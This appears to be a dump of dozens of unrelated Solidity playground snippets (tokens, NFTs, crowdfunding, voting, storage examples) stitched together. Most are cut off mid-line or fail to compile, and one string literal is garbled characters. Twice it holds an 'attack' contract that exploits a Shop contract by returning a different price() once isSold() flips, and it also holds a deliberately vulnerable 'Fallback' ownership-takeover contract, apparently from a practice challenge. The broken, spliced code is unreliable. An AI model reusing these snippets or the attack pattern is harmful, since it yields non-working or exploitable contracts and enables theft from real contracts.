pragma solidity ^0.4.24;
contract tbdocs {
address owner;
string public testData;
constructor() public {
owner = msg.sender;
}
function getOwner() public view returns (address) {
return owner;
}
function setTestData(string data) public returns (string) {
testData = data;
return testData;
}
function getTestData() public view returns (string) {
return testData;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
//Post on sigit.co.uk
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
//Post on sigit.co.uk
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract TicTacToe is ERC721 {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
struct Game {
string nonce;
address winner;
}
mapping(address => uint) public tallies;
mapping(bytes => bool) public nonces;
constructor() ERC721("TicTacToe", "TTT"){}
function tally(address _sessionAddress, Game[] memory _games ) public returns (bool) {
// increment counter
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
_safeMint(msg.sender, tokenId);
// check if nonce has been used before
for(uint i; i< _games.length; i++){
if(!nonces[abi.encodePacked(_sessionAddress, _games[i].nonce)]){
nonces[abi.encodePacked(_sessionAddress, _games[i].nonce)] = true;
if(_game
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
contract AlchemyItems is ERC1155 {
uint256 public constant GADOLINIUM = 0;
uint256 public constant DUBNIUM = 1;
uint256 public constant COBALT = 2;
constructor() public ERC1155("https://bafybeibpng4jmkqgool7btiqdhvkvv3vork6tk7gw433vpe3uz6s7pf6k4.ipfs.nftstorage.link/{id}.json") {
_mint(address(this), GADOLINIUM, 64, "");
_mint(address(this), DUBNIUM, 105, "");
_mint(address(this), COBALT, 6720, "");
}
function claim(address _address, uint _id) public returns (bool) {
ERC1155(this).safeTransferFrom(address(this), _address, _id, 1, "");
return true;
}
pragma solidity 0.4.26;
contract CrowdFunding {
uint256 public fundingGoal;
uint256 public raisedAmount = 0;
uint256 public deadline;
uint256 public price;
address public beneficiary;
mapping(address => uint256) public balanceOf;
bool public fundingGoalReached = false;
bool public crowdsaleClosed = false;
/* events that will be fired on changes */
event GoalReached(address recipient, uint256 totalAmountRaised);
event FundTransfer(address backer, uint256 amount, bool isContribution);
/* initialization function */
constructor(uint256 _fundingGoal, uint256 _durationInMinutes, uint256 _price, address _beneficiary) public {
fundingGoal = _fundingGoal * 1 ether;
deadline = now + (_durationInMinutes * 1 minutes);
price = _price * 1 ether;
beneficiary = _beneficiary;
}
/* The function without name is the default function that is called whenever anyone sends funds to a contract */
function () public payable {
re
pragma solidity ^0.4.18;
contract A {
uint256 c;
function a() external {
c += 5;
}
}
contract B {
uint256 c;
function a() external {
uint256 b = 5;
c += b;
}
}
//Practical No:2
//Aim: Implement and demonstrate the use of the Following Operators.
//1. Arithmetic Operator
// Solidity contract to demonstrate
// Arithmetic Operator
pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest {
// Initializing variables
uint16 public a = 20;
uint16 public b = 10;
// Initializing a variable
// with sum
uint public sum = a + b;
// Initializing a variable
// with the difference
uint public diff = a - b;
// Initializing a variable
// with product
uint public mul = a * b;
// Initializing a variable
// with quotient
uint public div = a / b;
// Initializing a variable
// with modulus
uint public mod = a % b;
// Initializing a variable
// decrement value
uint public dec = --b;
// Initializing a variable
// with increment value
uint public inc = ++a;
}
pragma solidity ^0.4.17;
contract Auction {
// Data
//Structure to hold details of the item
struct Item {
uint itemId; // id of the item
uint[] itemTokens; //tokens bid in favor of the item
}
//Structure to hold the details of a persons
struct Person {
uint remainingTokens; // tokens remaining with bidder
uint personId; // it serves as tokenId as well
address addr;//address of the bidder
}
mapping(address => Person) tokenDetails; //address to person
Person [4] bidders;//Array containing 4 person objects
Item [3] public items;//Array containing 3 item objects
address[3] public winners;//Array for address of winners
address public beneficiary;//owner of the smart contract
uint bidderCount=0;//counter
//functions
function Auction() public payable{ //constructor
//Part 1 Task 1. Initialize beneficiary with address of smart contract’s owner
/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract ShoreaToken is ERC20{
constructor(uint256initialSupply) ERC20("ShoreaToken", "ST"){
_mint(msg.sender, initialSupply);
}
pragma solidity ^0.4.18;
contract A {
uint256 c;
function a() external {
c += 5;
}
}
contract B {
uint256 c;
function a() external {
uint256 b = 5;
c += b;
}
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract SolidityTest {
string data = "ȯ´ͰÅ{Örå͢æsçtæͧâxÛ{ÝͭÞ}Ý}ÜͯØ|Ê\"ÅͲÄ\"Ã!ÃͯÂ)¿-ÀͽÀ-À-À;À1Â/¿Ϳ¿/¿/¿ͻ¾ Â ½Ͱ½!½!½Ͳ¹\"¥~´ͯ´~´~´ȦûͧúuùsøͤûsüuûȷWͶY)]'^ͷ^&^&^Ͳ]#d&cͷc'a&aͶa%a&`ͺ^(g(lm'm&lͶk%j$kʹk$k#kͳm!l mͯm~o oͱo!o!nͲn#n#oͳp#r$r͵r%r%rͽn(v)z{(|'{Ͷ{&z&|})*$&ͳ&#%$%\"}{!&ͱ&!&!'ͺ+'5,&ͼ&,%,%ͻ$)\"+!ͻ!+!+!Ϳv&a,X;T&R,RͼR-R-QŞ&Ŝ'VͷW'W'Wȷ(ͷ('('(Ͷ('''(Ⱥ{ͺ{)|){{*z*{ɄbΊe:]6_΄_3a4bɀWͿZ3^5Z΄X8Z4XW2Y0WɊfΌf?d<bΊb9d:fɂba/b0cd2b2bɊaΊb;a;``:a:aɈuΈt8t7t·u8u8uȽ[ͼ\,]-\ͽ\-[-[Ȟã͜âfáfå͙ëlæmãɊŚŚ<Ś;řΊř:ř:ŚȘÿ͖þcĀeă͘ăgāgÿȜā͜ĀmĀlÿ͚þhĂkāțĂ͚ăjĄjĄ͝ĄkĂjĂȟă͟Ăoānā͞ĂmănăȜĆ͜Ćląlą͜ĄkĆkĆɘ:Η9G:F:Ζ;H;H:ȕK͓I_J_L͑OdOdKȈD͇CVDVE͈EXEWDɋYΌZ?Z=XΌY;X;YȽ\"ͽ\".!.!ͽ!\"--\"ɛHΛJMINKΠJJDHEΕFJFKHɢ¿À
Á¿Υ¼½¿ȵ=
const BiDirectionalPaymentChannel = artifacts.require("BiDirectionalPaymentChannel");
contract("BiDirectionalPaymentChannel", (accounts) => {
let contractInstance;
const users = [accounts[0], accounts[1]];
const balances = [10, 20];
const expiresAt = Math.floor(Date.now() / 1000) + 60; // Expires 60 seconds from now
const challengePeriod = 120;
beforeEach(async () => {
contractInstance = await BiDirectionalPaymentChannel.new(
users,
balances,
expiresAt,
challengePeriod,
{ from: accounts[2], value: 30 }
);
});
it("should set the initial contract state", async () => {
const balance0 = await contractInstance.balances.call(users[0]);
const balan
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SampleOverflow {
string constant statictext = "dee11d4e-63c6-4d90-983c-5c9f1e79e96c";
bytes32 constant byteText = "dee11d4e63c64d90983c5c9f1e79e96c"; //no hypens
function getString() payable public returns(string){
return statictext;
}
function getByte() payable public returns(bytes32){
return byteText;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SampleOverflow {
string constant statictext = "dee11d4e-63c6-4d90-983c-5c9f1e79e96c";
bytes32 constant byteText = "dee11d4e63c64d90983c5c9f1e79e96c";
function getString() payable public returns(string){
return statictext;
}
function getByte() payable public returns(bytes32){
return byteText;
}
contract attack{
Shop shop;
function att()public{
shop=Shop(0xd9145CCE52D386f254917e481eB44e9943F39138);
shop.buy();
}
function price()external view returns (uint){
if(shop.isSold()==false){
return 100;
}
return 99;
}
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
uint value222;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract BinaryToDecimal{
function loopBinary(string _str) pure public returns(uint) {
bytes memory b = bytes(_str);
uint binaryLength = b.length;
uint result = 0;
for (uint i = 0; i < binaryLength; i++) {
if (uint8(b[binaryLength - i - 1]) == 49) {
result += 2**i;
}
}
return(result);
}
}
contract BitShiftMask{
function bitShiftMask(uint8 _int) pure public returns(uint[]) {
uint[] memory resultArray = new uint[](8);
uint8 mask = 1;
for (uint i = 0; i < 8; i++) {
resultArray[i] = _int & mask;
mask = mask << 1;
}
return(resultArray);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.0;
contract BinaryToDecimal{
function loopBinary(string _str) pure public returns(uint) {
bytes memory b = bytes(_str);
uint binaryLength = b.length;
uint result = 0;
for (uint i = 0; i < binaryLength; i++) {
if (uint8(b[binaryLength - i - 1]) == 49) {
result += 2**i;
}
}
return(result);
}
}
contract BitShiftMask{
function bitShiftMask(uint8 _int) pure public returns(uint[]) {
uint[] memory resultArray = new uint[](8);
uint8 mask = 1;
for (uint i = 0; i < 8; i++) {
resultArray[i] = _int & mask;
mask = mask << 1;
}
return(resultArray);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract BinaryToDecimal{
function loopBinary(string _str) pure public returns(uint) {
bytes memory b = bytes(_str);
uint binaryLength = b.length;
uint result = 0;
for (uint i = 0; i < binaryLength; i++) {
if (uint8(b[binaryLength - i - 1]) == 49) {
result += 2**i;
}
}
return(result);
}
}
contract BitShiftMask{
uint[] resultArray;
function shiftBit(uint8 _int) pure public returns(uint) {
return (_int & 13);
}
function bitShiftMask(uint8 _int) public returns(uint[]) {
uint8 mask = 1;
for (uint i = 0; i < 8; i++) {
resultArray.push(_int & mask);
mask = mask << 1;
}
return(resultArray);
}
// SPDX-License-Identifier: MIT
// compiler version must be greater than or equal to 0.8.17 and less than 0.9.0
pragma solidity ^0.7.1;
contract HelloWorld {
string public greet = "Hello World!";
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract BinaryToDecimal{
function loopBinary(string _str)
pure
public
returns(uint) {
bytes memory b = bytes(_str);
uint binaryLength = b.length;
uint result = 0;
for (uint i = 0; i < binaryLength; i++) {
if (b[i] == 49) {
result += 2**i;
}
}
return (result);
}
}
pragma solidity ^0.4.18;
contract Test {
function substring(string str, uint startIndex, uint endIndex) public pure returns (string) {
bytes memory strBytes = bytes(str);
bytes memory result = new bytes(endIndex-startIndex);
for(uint i = startIndex; i < endIndex; i++) {
result[i-startIndex] = strBytes[i];
}
return string(result);
}
pragma solidity ^0.8.1;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract Campaign is ERC20 {
int public currentAmount;
int public goal;
address public creator;
mapping(address => int) public pledges;
event Pledge(address _pledger, int _amount);
event Claim(address _pledger, int _amount);
event Refund(address _pledger, int _amount);
constructor(int _goal) public {
creator = msg.sender;
goal = _goal;
}
function pledge(int _amount) public {
require(msg.sender.transferFrom(msg.sender, address(this), _amount), "Could not pledge tokens.");
pledges[msg.sender] += _amount;
currentAmount += _amount;
emit Pledge(msg.sender, _amount);
}
function claim() public {
require(msg.sender == creator, "You are not the creator so you cannot claim the funds.");
require(currentAmount >= goal, "The goal has not yet been reached!");
require(address(this).transfer(msg.sender, currentAmount), "So
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract Playground {
function compare(string _s1, string _s2)
pure
public
returns(bool) {
bytes memory b1 = bytes(_s1);
bytes memory b2 = bytes(_s2);
if (b1.length != b2.length) {
return false;
}
return keccak256(b1) == keccak256(b2);
}
function calculate(uint256 amount, uint256 bps) public pure returns (uint256) {
return amount * bps / 10000;
}
function concat(string _s1, string _s2)
pure
public
returns(string) {
return string(abi.encodePacked(bytes(_s1), bytes(_s2)));
}
function strLen(string _str)
pure
public
returns(uint) {
bytes memory b = bytes(_str);
return (b.length);
}
function strReplace(string _from, string _what, string _to)
contract Storage {
uint256 a;
uint256 b;
function inefficient(uint256 _a, uint256 _b) external {
a = _a;
b = _b;
}
uint128 c;
uint128 d;
function efficient(uint128 _c, uint128 _d) external {
c = _c;
d = _d;
}
contract attack{
Shop shop;
function att()public{
shop=Shop(0xd9145CCE52D386f254917e481eB44e9943F39138);
shop.buy();
}
function price()external view returns (uint){
if(shop.isSold()==false){
return 100;
}
return 99;
}
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.7.0;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get123() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.7.0;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get123() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.7.1;
contract SupplyChain {
// Struct pour stocker les informations sur un produit
struct Product {
string name;
uint quantity;
address owner;
}
// Table pour stocker tous les produits
mapping(bytes32 => Product) products;
// Event pour signaler l'ajout d'un produit
event ProductAdded(bytes32 id, string name, uint quantity);
// Fonction pour ajouter un produit
function addProduct(bytes32 id, string memory name, uint quantity) public {
// Vérifier que le produit n'existe pas déjà
require(products[id].name == "");
// Ajouter le produit à la table
products[id] = Product(name, quantity, msg.sender);
// Signaler l'ajout du produit
emit ProductAdded(id, name, quantity);
}
// Fonction pour transférer la propriété d'un produit
function transferProduct(bytes32 id, address newOwner) public {
// Récupérer le produit
Product storage product = products[i
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
//type name=value;
int number =-20;
//256 bit uint unsignedNumber=50;
//numero solo positivo bool boolean=true;
address myAddress=0x2e54bb8BA0A9Df89bF2A04D71221c1A42A2Bb9af;
bytes32 myBytes="name";
string myString="value";
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
import 'Libreria.sol';
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
address public owner;
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.0;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
contract Storage2 {
uint128 a = 1;
uint256 b = 2;
function inefficient(uint128 _a) external {
a += _a;
}
function efficient(uint256 _b) external {
b += _b;
}
pragma solidity ^0.8.0;
contract ERC20Token {
// Token name, symbol, and total supply
string public name;
string public symbol;
uint256 public totalSupply;
// Mapping from addresses to their token balance
mapping(address => uint256) public balanceOf;
// Event for when tokens are transferred
event Transfer(address indexed from, address indexed to, uint256 value);
// Transfer token function
function transfer(address _to, uint256 _value) public {
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
}
}
contract Governance {
// ERC20 token contract address
ERC20Token public token;
// Mapping from proposal ID to proposal details
mapping(uint256 => Proposal) public proposals;
// Mapping from proposal ID to the total token weight of votes for and against
mapping(uin
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/PullPayment.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract DApping is ERC 721, Ownable, PullPayment, AccessControl, ERC721URIStorage, Counters {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
string public name;
uint public postCount = 0;
mapping(uint => Post) public posts;
struct Post {
uint id;
string content;
uint tipAmount;
address payable _author;
}
event PostCreated(
uint id,
string content,
uint tipAmount,
address payable author
);
event PostTipp
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the dec
pragma solidity ^0.7.1;
import "https://github.com/AVAXFoundation/Ava.sol";
// This is the contract for the CCPR token
// Define the contract interface
interface Token {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function stake(uint256 value) external returns (bool);
function swap(uint256 value) external returns (bool);
function burn(uint256 value) external returns (bool);
}
// Define the contract
contract CCPR is Token {
// Set the initial values for the token
string public name = "Cannacoin Prime";
string public symbol = "CCPR";
uint8 public decimals = 18; // This sets the number of decimal places to 18
uint256 public totalSupply = 314159265
0x5B38Da6s701c568545dCfcB03Fcb875f56beddC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.5.0;
contract AdvancedToken {
// Declare the name, symbol, and decimals of the token
string public name = "Advanced Token";
string public symbol = "AT";
uint8 public decimals = 18;
// Declare the total supply of the token
uint256 public totalSupply;
// Mapping of users to their token balances
mapping(address => uint256) public balances;
// Mapping of users to their allowance of tokens that they have granted to other users
mapping(address => mapping(address => uint256)) public allowances;
// Event to be emitted when a transfer is made
event Transfer(address indexed from, address indexed to, uint256 value);
// Event to be emitted when an allowance is granted or updated
event Approval(address indexed owner, address indexed spender, uint256 value);
// Constructor function to initialize the total supply and assign all tokens to the contract ow
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
contract Fallback {
mapping(address => uint) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.11;
pragma abicoder v2;
contract LoyaltyExchange{
//company balances are stored in finney.
uint constant welcome_bonus = .01 ether;
string[] private temp_users;
struct User{
string name;
address user_wallet;
string email;
uint balance;
}
mapping(address => User) private users;
address[] public userAddresses;
//User struct uses the mapping methodology to be linked with address of users.
struct Company{
string company_name;
address company_wallet;
}
mapping(address => Company) private companies;
address[] public companyAddresses;
struct CashbackLog{
uint amount;
address receiver;
address sender;
string cashback_id;
}
mapping(string => CashbackLog) private cashbackLogs;
string[] public cashbakLogIds;
//Includes .01 ether welcome bonus
//individual registering minimum cost is 0.1 ether.
fu
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
pragma abicoder v2;
contract LoyaltyExchange{
//company balances are stored in finney.
uint constant welcome_bonus = .01 ether;
string[] private temp_users;
struct User{
string name;
address user_wallet;
string email;
uint balance;
}
mapping(address => User) private users;
address[] public userAddresses;
//User struct uses the mapping methodology to be linked with address of users.
struct Company{
string company_name;
address company_wallet;
}
mapping(address => Company) private companies;
address[] public companyAddresses;
struct CashbackLog{
uint amount;
address receiver;
address sender;
string cashback_id;
}
mapping(string => CashbackLog) private cashbackLogs;
string[] public cashbakLogIds;
//Includes .01 ether welcome bonus
//individual registering minimum cost is 0.1 ether.
fun
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens
/**
*Submitted for verification at BscScan.com on 2022-10-27
*/
/**
*Submitted for verification at BscScan.com on 2022-07-14
*/
/*
Website: https://www.1amd.co/
Contract Name: Free Speech
Instagram: https://www.instagram.com/1amdtoken
Twitter: https://twitter.com/1amdtoken
Telegram: https://t.me/FreeSpeechToken
Contract Supply: 100,000,000
Contract Tokenomics:
2% Team.
1% Liquidity.
2% Marketing.
5% Total Tax
*/
//SPDX-License-Identifier:Unlicensed
pragma solidity 0.8.17;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract Playground {
function compound()
public
pure
returns (uint256)
{
uint256 compoundedDays = 100;
return (100 * (100+8)**compoundedDays) * 10**(6 - 2 * compoundedDays);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract Playground {
function compound()
public
pure
returns (uint256)
{
uint256 compoundedDays = 100;
return (100 * (100+8)**compoundedDays) * 10**(6 - 2 * compoundedDays);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract Playground {
function compare(string _s1, string _s2)
pure
public
returns(bool) {
bytes memory b1 = bytes(_s1);
bytes memory b2 = bytes(_s2);
if (b1.length != b2.length) {
return false;
}
return keccak256(b1) == keccak256(b2);
}
function concat(string _s1, string _s2)
pure
public
returns(string) {
return string(abi.encodePacked(bytes(_s1), bytes(_s2)));
}
function strLen(string _str)
pure
public
returns(uint) {
bytes memory b = bytes(_str);
return (b.length);
}
function strReplace(string _from, string _what, string _to)
pure
public
returns(string) {
bytes memory bfrom = bytes(_from);
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;
contract SimpleStore {
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB)
internal
pure
returns (address token0, address token1)
{
require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES");
(token0, token1) = tokenA < tokenB
? (tokenA, tokenB)
: (tokenB, tokenA);
require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS");
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(
address factory,
address tokenA,
address tokenB
) external pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(
uint256(
keccak256(
/**
Author: Ravi Kumar
purpose: Coding Assignment: 1
description: solidity Programming - Voter Application
*/
pragma solidity ^0.4.10;
contract Voting {
//Owner of the contract, address which deploys the contract
address owner;
//Contract level variables, to capture the state of the contract
uint256 canidatesCount;
uint256 votersCount;
uint256 votesCount;
//Complex DataType
//Contract level object to store Voter Information
struct Voter {
uint256 candidateIdVote;
bool hasVoted;
bool isAuthorized;
}
//Complex Data Type
//Construct level object to store candidate information
struct Candidate {
string name;
string party;
uint256 votesCount;
bool doesExists;
}
//Stores list of candidates & voters
//Could have used array as well here
mapping(uint256 => Candidate) candidates;
mapping(address => Voter) voters;
//constructor to initialize owner as the address which creates the co
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
function remove(uint _id) external {
Animal[] memory copy;
uint i;
for (; i < animals.length; i++) {
if (_id != i) {
copy.push(animals[i]);
}
}
animals = copy;
}
uint value;
}
TypeError: Member "push" is not available in struct Spa.Animal[] memory outside of storage.
--> contracts/SPA.sol:51:17:
|
51 | copy.push(animals[i]);
| ^^^^^^^^^
Error HH600: Compilation failed
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract MyContractTest is ERC721, ERC721Royalty, ReentrancyGuard, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
uint256 MAX_SUPPLY = 9;
string _contractURI = "ipfs://";
constructor() ERC721("MyContractTest", "MCT") {
_tokenIdCounter.increment();
}
function contractURI() public view returns (string memory) {
return _contractURI;
}
function _baseURI() internal pure override returns (string memory) {
return "ipfs:///";
}
function mint(address to) public onlyOwner {
uint256 tokenId = _tokenIdCounter.current();
require(t
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.20;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "https://github.com/ProjectOpenSea/seaport/blob/main/contracts/interfaces/SeaportInterface.sol";
import "https://github.com/ProjectOpenSea/seaport/blob/main/contracts/lib/ConsiderationEnums.sol";
contract Vault {
address public creator; // Person who created the group chat.
string public name; // Group chat name.
mapping(address => address) public members; // Key: member wallet address, value: member wallet address (just needed a unique arbitrary value).
mapping(address => address) public ownedAssets; // Key: nft address, value: nft address (just needed a unique arbitrary value).
mapping(address => uint256) public amountRaisedForAsset; // Key: nft address, value: amount of Eth raised for that asset.
mapping(address => mapping(address => uint256)) public individualEscrowedAmounts; // Key: nft address, value: mapping of user address to amount of Eth they have escrowed to that pending asset.
mapping(address => ma
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
